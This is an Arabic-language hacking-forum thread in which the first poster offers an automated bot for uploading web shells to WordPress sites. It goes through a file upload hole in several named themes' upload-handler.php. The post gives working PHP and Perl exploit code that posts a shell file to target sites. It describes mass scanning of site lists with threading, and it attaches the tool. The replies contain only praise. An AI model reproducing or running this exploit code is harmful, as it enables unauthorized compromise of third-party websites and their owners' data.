حالة الموضوع:
مغلق
  1. MR.HASTER

    MR.HASTER Developer

    الأنتساب:
    ‏16 نوفمبر 2012
    المشاركات:
    55
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    [​IMG]
    Wordpress Orange Theme Upload Shell Bot

    فكرة الأداة :

    كما هو موضح في إسم الأداة هي عبارة علي إستغلال أوتوماتيكي لرفع شيل
    في مواقع الورد بريس من خلال ثغرة أبلود معروفة و متواجدة في عديد التيمات السكريب
    و تقريبا في أكثر من 60 تيم مصاب بهي الثغرة بعض التيمات المصابة

    [​IMG]

    كود PHP:
    agritourismo-theme
    bordeaux
    -theme    
    bulteno
    -theme
    oxygen
    -theme
    radial
    -theme
    rayoflight
    -theme
    reganto
    -theme
    rockstar
    -theme


    [​IMG]

    إستغلال للثغرة php & perl

    <?

    كود PHP:
    php
    $uploadfile
    ="EgyShell-Upload.php";
    $ch curl_init("http://[LocalHost]/wp-content/themes/[Theme Name]/functions/upload-handler.php");
    curl_setopt($chCURLOPT_POSTtrue);
    curl_setopt($chCURLOPT_POSTFIELDS,
            array(
    'orange_themes'=>"@$uploadfile"));
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $postResult curl_exec($ch);
    curl_close($ch);
    print 
    "$postResult";
    ?>

    #!/usr/bin/perl
    use WWW::Mechanize;
    my $website = $ARGV[ 0 ];
    my $mech = new WWW::Mechanize(autocheck => 0);
            my $file = [
            'm-a.php',# The file you'd like to upload.
            'm-a.php',# The filename you'd like to give the web server.
            'Content-type' => 'text/plain'];
            $mech->post($website,
            'Content_Type' => 'form-data',
            'Content' => [ 'orange_themes' => $file ]
            );
    الأداة تعمل من خلال ليستت مواقع الورد بريس . تستختج التيمات الموجودة فيها
    بعدها تعمل إستغلال أوتوماتيكي و تجرب و تتحقق من إزا كان الشيل رفع أم لا و الشغل كلو بالثريد للسرعة في العمل صورة للأداة !!

    [​IMG]

    ملاحظة :
    فيك تغتر thread number من السورس الملفات الازمة مرفقة مع الأداة أي تغيير أو إضافة ممكن تعطل العمل

    كود PHP:
    wp-content/uploads/2014/01/
    لازم تغير العدد الشهري و السنة من السورس للتحقق
    الأداة في المرفقات

    الأداة مبرمجة منذ سنة تقريبا لهذا أي خطأ أو أي إستفسار بالخدمة
    في إصدار ثاني للأداة قريبا إ ن شاء الله

    تحياتي ~
    [​IMG]
     

    الملفات المرفقة:

    • bot.zip
      حجم الملف:
      2.5 ك. ب
      المشاهدات:
      27
  2. علي القناص

    علي القناص <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏6 مارس 2014
    المشاركات:
    359
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    رد: Wordpress Orange Theme Upload Shell Bot

    عاشت الايادي استمر
     
  3. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,779
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    رد: Wordpress Orange Theme Upload Shell Bot

    حلو حبي عاشت الايادي
     
  4. أمير عرش الدموع

    أمير عرش الدموع DeveloPer Plus

    الأنتساب:
    ‏25 يناير 2012
    المشاركات:
    111
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    الإقامة:
    IRAQ
    رد: Wordpress Orange Theme Upload Shell Bot

    بارك الله فيك يا بطل

    واصل الإبداع

    بالتوفيق
     
  5. القرصان الصغير

    القرصان الصغير Developer

    الأنتساب:
    ‏31 أكتوبر 2012
    المشاركات:
    51
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    الرياض
    رد: Wordpress Orange Theme Upload Shell Bot

    يعطيك آلعافيهُ مآقصرتُ .
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة